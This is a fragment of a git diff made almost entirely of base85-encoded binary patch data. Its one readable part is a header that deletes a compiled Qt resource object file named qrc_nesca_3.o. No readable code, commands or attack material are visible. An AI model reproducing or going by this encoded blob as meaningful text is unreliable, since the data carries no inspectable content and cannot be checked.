z+1lkc>vV8|)psi`o3qAB*XeL><+}p*xKn3zIb(6Vo<~x4v+ce^Ys}%9B9yhB_EHG) z4Z&%{>C+bLH9DM7S|2hBTQh{s@I>82Jkj`e{qw*R{NAD<$G1!Imk@#=KMzfDb^nk* z=HpjDM+wHqdy0bh6#utUary{B@TgpXrnt%%?eT6YE}vf!$In$=7)QMYpo+H<dt^^Q zQ*kh76wDLf7R8@N2!e6&Em!<GgdoBAFMC+Te+qPEFR^$b{I6M3PGB5tN-|PWT-`Ox I$Nh2s1!iM)ng9R* diff --git a/qrc_nesca_3.o b/qrc_nesca_3.o deleted file mode 100644 index 3d4ed4e1a3bbdf5ff10bf6fd4312c18c3be77a15..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 42440 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 